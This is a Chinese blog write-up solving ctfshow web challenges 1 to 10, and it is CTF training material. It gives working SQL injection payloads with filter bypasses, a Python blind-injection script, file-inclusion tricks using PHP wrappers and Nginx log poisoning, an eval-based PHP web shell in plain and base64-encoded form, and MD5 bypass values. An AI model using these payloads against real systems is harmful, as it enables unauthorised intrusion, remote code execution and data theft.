ctfshow-web(1-10)

write-up:

web-1:

题目描述:web签到题

解题方法:打开靶机得到一个写着:wher is flag? 的页面:

先查看一下它的源码:

得到一串类似base64的编码,然后把它放进base64里面进行解码一下得到我们的flag:

ctfshow{c3a5c6fd-4bc3-45b5-ad68-afd54e4b99d6}

web-2:

题目描述:最简单的SQL注入

解题方法:打开靶机得到一个简单的登陆界面:

根据题目描述是一个简单的SQL注入,所以我们先来判断一下它的注入点:

输入以下payload,使SQL恒成立

1' or 1=1#

页面回显正常,并且登陆成功得到我们的用户名

我们再输入一下payload,使SQL不成立:

1' or 1=2#

这里我们就没有得到任何回显

通过上面的测试,我们可以知道该登陆界面存在SQL注入漏洞,而且还是单引号的字符型注入,由于页面中有显示位,所以这里我们可以用联合注入

第一步先来爆出它的字段数:

1' or 1=1 order by 1#   //有回显
1' or 1=1 order by 2#   //有回显
1' or 1=1 order by 3#   //有回显
1' or 1=1 order by 4#   //无回显

这里说明里面的字段数只有3位

第二步我们先来判断它的显示位:

1' or 1=1 union select 1,2,3#

这里我们得到三个列名中第2个会显示出来

第三步我们开始爆数据库名:

1' or 1=1 union select 1,database(),3#

这里我们爆出数据库名:web2

第四步我们开始爆数据库web2里面的表名:

1' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'#

这里我们爆出两个表名:flag和user

这里我们就可以知道我们要的flag应该是在flag表中:

第五步:我们开始爆flag表中的列名:

1' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='web2' and table_name='flag'#

这里回显我们得到了它的列名为:flag

第六步:我们爆出flag列名里面对应的数据:

1'or 1=1 union select 1,group_concat(flag),3 from flag#

最后我们得到我们所想要的信息flag:

ctfshow{ffd57995-ca75-44c4-9eb4-a5daa08f5aef}

web-3:

题目描述:更简单的web题

解题方法:打开靶机得到如下页面:

这里我们知道它要我们GET一个url,而且这里我们还看到include函数

我们用一下payload来测试一下:

?url=../../../../../etc/passwd

这里说明是文件包含漏洞,知道后我们就有很多中方法来解:

第一种方法:我们使用PHP://input来进行任意代码执行

我们再url参数中写入php://input伪协议来提交

?url=php://input

然后使用bp来抓包,这样我们就可以在POST请求体中输入我们需要执行的PHP代码,比如我们输入执行系统命令,来查看一下网页目录下的文件:

<?php system('ls');?>

这里我们看到目录下面有两个文件夹,一个ctf_go_go_go和index.php,一眼看就知道我们要的flag在ctf_go_go_go中

我们直接访问ctf_go_go_go文件:

得到我们的flag:ctfshow{647749b1-c522-4b9e-a036-42c0b725f504}

第二种方法:Nginx日志文件包含

我们构造以下payload,来访问日志,然后获取我们的日志文件,然后修改我们的浏览器的标识UA为自己的php一句话木马:

?url=/var/log/nginx/access.log

然后我们使用bp来抓包,在浏览器标识那里上传我们php的一句话木马:

这里我们可以看到右边,说明我们的木马传成功了,现在我们用蚁剑连连一下:

这里我们的蚁剑的url的payload是:

http://8e9d9ed9-8cd5-434a-bb75-89c3f4dfeea0.challenge.ctf.show/?url=/var/log/nginx/access.log

测试连接成功

这里我们就得到我们的flag:ctfshow{647749b1-c522-4b9e-a036-42c0b725f504}

第三种方法:data://伪协议

我们可以构造一下payload:

?url=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b

这里的 PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b 看似是一句话木马的base64的编码,但是仔细一看并不是

正常我们的一句话木马:

<?php @eval($_POST['1']);?>

base64编码是:PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

但是我们上传后,发现并没有上传上去,猜测我们的>尖括号可能被过滤了,这里的+号就是我们的>尖括号就是我们的base64编码,这里我们将+号进行url编码得到%2b

所以这里我们就将url编号后的%2b替换+号,再上传上去

上传成功后页面是没有什么变化的,然后现在我们用蚁剑来连一下:

蚁剑的url的payload就是:

?url=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2b

连接成功,去到目录下面就可以找到我们的flag

得到我们的flag:ctfshow{647749b1-c522-4b9e-a036-42c0b725f504}

第四种方法:php://filter与data://协议配合

我们构造我们的payload:

?url=php://filter/read=convert.base64-decode/resource=data://text/plain;base64,UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3ljeEoxMHBPejgr

这里通过filter对include的数据进行过滤处理,将内容以data://伪协议传入

data://伪协议将UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3ljeEoxMHBPejgr进行base64解密后给filter

filter再进行base64解密后给include执行

UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3ljeEoxMHBPejgr是php一句话木马经过两次base64编码的结果

我们上传一下:

上传成功页面是没有什么变化的

现在我们去蚁剑连一下:

蚁剑的url的payload是:

http://26bc8077-726b-4c44-b3dc-905bb073fdd2.challenge.ctf.show/?url=php://filter/read=convert.base64-decode/resource=data://text/plain;base64,UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3ljekoxMHBPejgr

连接成功,去目录下面找到我们的flag:

得到我们的flag:ctfshow{647749b1-c522-4b9e-a036-42c0b725f504}

web-4:

题目描述:和上一题web-3类似

解题方法:打开靶机,发现和web-3一样:

这里和web-3一样,有一个include函数,可能有文件包含漏洞,用下面payload来测试一下:

?url=../../../../etc/passwd

这里我们用web-3里面的php伪协议来试一下,发现在这里用不了

这里我们就要用日志注入的方式,来getshell

我们构造下面payload来访问日志:

?url=/var/log/nginx/access.log

然后用bp抓包,在UA浏览器标识后面写入我们的一句话木马:

右边显示我们的日志注入成功,现在用蚁剑来连一下

蚁剑的url的payload:

http://c00bc3f9-88cc-40ff-b82e-af67f8f0e0a2.challenge.ctf.show/?url=/var/log/nginx/access.log 

测试连接成功

在www文件下面找到了flag的文件

得到我们的flag:ctfshow{4a14c84d-5cef-4888-80ad-c7dd7ca7cef3}

web-5:

题目描述:无

解题方法:打开靶机,一眼看上去是php代码审计:

这里我们通过分析,发现是一个MD5的弱比较,我们先来分析一下函数的作用:

ctype_alpha是判断是否字符

is_numeric判断是否数字

现在我们就知道了v1要是字符型,v2要是数字型,最后他们的MD5值要相等就会输出flag

因为这里是MD5的弱比较,所以我们可以用科学计数法来绕过,构造我们的payload:

?v1=QNKCDZO&v2=240610708

得到我们的flag:ctfshow{227c8c4a-bdb1-43d4-be65-a7e436a3b94f}

补充:本题由于设置了ctype_alpha和is_numeric,所以无法使用数组来绕过。因为如果v2[]=111isnumeric(v2)为false,!is_numeric($v2)就为真,程序就die了。

web-6:

题目描述:无

解题方法:打开靶机是一个和web-2一样的一个简单的登陆界面:

我们还是一样的用万能密码来测试一下它的注入点:

1' or 1=1#

这里得到了错误的回显,但是语句没有错误,猜测应该是过滤了什么东西,我们先试一下是否是过滤了空格

1'/**/or/**/1=1#

成功登录,说明这里是把空格给过滤了,我们用/**/来代替空格

后面的步骤就和web-2一样,只是把空格过滤了:

1'/**/or/**/1=1/**/order/**/by/**/3#     //爆字段数

1'/**/or/**/1=1/**/union/**/select/**/1,2,3#  //爆显示位

1'/**/or/**/1=1/**/union/**/select/**/1,database(),3#  //爆数据库名web2

1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#    //爆出表名flag

1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#   //爆出列名flag

1'/**/or/**/1=1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#  

得到flag:ctfshow{db8e11cd-a4e3-4851-bfe6-67b8e7eee951}

web-7:

题目描述:无

解题方法:打开靶机,页面中有一个文章列表:

这里我们随便点一个:

这里我们从url地址栏中可以看出,页面通过文章的id值来查询文章内容,看到这里我们可以考虑一下SQL注入漏洞

然后现在我们来判断注入点,构造以下payload,使sql恒成立:

?id=1 or 1=1#

这里看到回显错误,语句没有问题,说明里面有东西被过滤了,我们先试一下是不是空格被过滤了:

?id=1/**/or/**/1=1#

回显正常

现在我们构造下面payload,使sql恒不成立:

?id=-1/**/or/**/1=2#

可以看到页面空显示

分析到这里我们可以得出该页面存在SQL注入,注入点为数值型,页面中有显示位,所以我们可以用联合注入来进行注入

先来判断显示位,此处id我们传一个-1,由于id通常不为负数,后端根据id查询不到内容,就只能展示联合查询的结果,从而帮助我们判断字段显示的位置

?id=-1/**/or/**/1=1/**/order/**/by/**/3#  //有回显
?id=-1/**/or/**/1=1/**/order/**/by/**/4#  //无回显

我们来爆显示位:

?id=-1/**/union/**/select/**/1,2,3#

我们再来爆他的数据库名:

?id=-1/**/union/**/select/**/1,database(),3#

我们再继续爆它的表名:

?id=-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web7'#

没有回显,但是语句没有问题,应该是什么被过滤了,猜测是单引号,我们将单引号替换成双引号:

?id=-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema="web7"#

确实是单引号被过滤了

我们继续爆flag表中的列名:

?id=-1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag"#

最后我们爆出列名flag对应的数据:

?id=-1/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag#

得到我们的flag:ctfshow{cd40eba3-97ae-424b-bd38-c493f9e10777}

web-8:

题目描述:做到这一题,基本可以写简单的注入工具了

解题方法:打开靶机,发现是和web-7一样的一个文章列表:

我们随机点开一个文章:

这里和web7一样的,存在sql注入漏洞,我们先在1后面加上一个单引号:

报错,说明这里的单引号被过滤了,然后就尝试去爆它的字段数发现union,and,逗号等都被过滤了

经过多次尝试,我们发现了它所过滤的所有关键字:

空格
and
逗号
单引号
union

空格可以内联注释来绕过,即 /**/

and就可以使用or,或者 || ,或者 &&

逗号就没有太好的想法了

像是单引号被过滤的话,在字符型注入中基本是没戏了,还在这次的是数字型的注入

而union就可以用 || 或者&&

在一次次测试过滤字符中,我们发现我们注入的语句中存在被过滤的字符,得到的回显是:

成功又是这样的界面:

这里我们就发现,失败就是返回出错,成功就得到三个文章列表

那么我们可以使用盲注,判断依据是返回结果有没有“If”这个单词,当然其他的字符也可以,只要不在失败的页面中即可

我们编写python脚本来进行盲注:

import requests

url = "http://d5772be0-437b-477d-a310-292862403676.challenge.ctf.show/index.php?id=-1"
flag = ""

for num in range(1, 60):
    l = 33
    r = 130
    mid = (l + r) >> 1
    while l < r:
        # 数据库:web8
        #sql = "ascii(substr((select/**/database())/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
        # 表:flag,page,user
        #sql = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
        # 列:flag
        # sql = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167)/**/from/**/{}/**/for/**/1))>{}".format(num,mid)
        # ctfshow{b54332e2-57d2-47c4-933a-d455e9b7e950}
        sql = "ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/{}/**/for/**/1))>{}".format(num, mid)

        payload = url + "/**/||/**/" + sql

        # print(payload)

        res = requests.get(payload)

        if 'If' in res.text:
            l = mid + 1
        else:
            r = mid
        mid = (l + r) >> 1
    if chr(mid) == " ":
        break
    flag += chr(mid)
    print(flag)

这里我们简单的分析一下代码:

我们使用二分法查找字符:

ascii()#字符转ascii
substr(string,0,1)#截取string的第1个字符开始,偏移1个单位的字符。例如“substr(‘abc’,1,1)”的结果是‘a’,把1改成2,

这里因为我们的逗号被过滤了,所以我们要用下面这个:

substr(string from 1 for 1

还有这条语句:

select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167

0x666c6167是“flag”的十六进制,因为不能使用单引号,就把它转换成十六进制

还要补充一点:使用 || 来替代 and 或 union 时, 要注意 || 后面语句的执行条件。必须是前面语句执行错误后,在会执行后面的语句,所以在参数处传入的是 -1

得到flag:ctfshow{3a9dacac-0ec9-4592-9c74-6cb599dac1ad}

web-9:

题目描述:无

解题方法:打开靶机得到一个简单的用户登陆界面,用户名admin给了:

这里我们一看就估计是SQL注入漏洞

但是在这里我们输入万能密码,各种过滤绕过的注入语句都不行,我们查看一下网页源码:

发现并没有任何提示,猜测可能还有其他页面,所以我们用dirsearch来进行目录扫描一下:

python dirsearch.py -u http://e0f0739f-e706-4491-8ed8-93f1968065dd.challenge.ctf.show/ -e php,txt

扫描出了一个robots.txt的文档,我们来访问一下这个文档:

得到一个index.phps,我们再继续访问一下这个index.phps:

让我们下载,下载下来用notepad++打开得到一段源码:

<?php
        $flag="";
		$password=$_POST['password'];
		if(strlen($password)>10){
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						 echo "登陆成功<br>";
						 echo $flag;
					 }
			}
    ?>

其中这一行:

$sql="select * from user where username ='admin' and password='".md5($password,true)."'";

这里我们看到查询的条件,用户名是admin,但是密码是用MD5加密后的结果

我们来分析一下MD5这个加密函数的用法:

这里我们可以用MD5加密漏洞来绕过:

将密码转换成16进制的hex值以后,再将其转换成字符串后包含'or’xxxx

这样条件就成功了,就可以对语句进行闭合:

username ='admin' and password =' 'or 'xxxxx'

也就是拼接成万能密码

所以我们现在就要找到一个满足条件的16进制数,最后上网看了一下的大佬的博客:

https://blog.csdn.net/March97/article/details/81222922

这篇文章就是在讲这个SQL注入-MD5加密漏洞:

有两个满足的条件:

content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b

这里32位的16进制的字符串,两个一组就是上面的16位二进制的字符串。比如27,这是16进制的,先要转化为10进制的,就是39,39在ASC码表里面就是’ ' ‘字符。6f就是对应‘ o ’

另一个:

content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8

但是这里有长度限制,所以我们输入ffifdyop

登录成功,就得到了我们的flag:ctfshow{bdbdad9b-9a15-4a60-8876-735760e089ef}

web-10:

题目描述:无

解题方法:我们打开靶机,得到一个登陆界面:

这里我们看到是一个升级版的web-9,我们还是找一下它的源码:

这里我们点击取消,就会提示我们下载index.phps,用notepad++打开就得到我们的源码:

<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

这里看到我们大部分的关键字都被过滤了,想在双写来绕过

$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";

但是,这段代码直接阻断了双写绕过,如果双写的话,字符串中关键词会被替换为空,这样的话替换前后的字符串长度不同,不太行。

if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");

最后看了大佬写的文章,才知道一种解题的新姿势:

参考文章:web-10

这里介绍两个MySQL语句

1.group by:对要进行的查询的结果来进行分组,group by 后面跟什么就按什么来分组(将结果集中的数据行根据选择列的值进行逻辑分组)

2.with rollup:group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计

这里我们就可以用这种方式来绕过:

其中/**/是为了绕过空格过滤

payload:username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足password==row['password']的限制成功登陆。

登陆成功,得到我们的flag:ctfshow{21948720-9a2e-4282-b4c3-7fc3fda61723}

posted @   张伟文  阅读(556)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示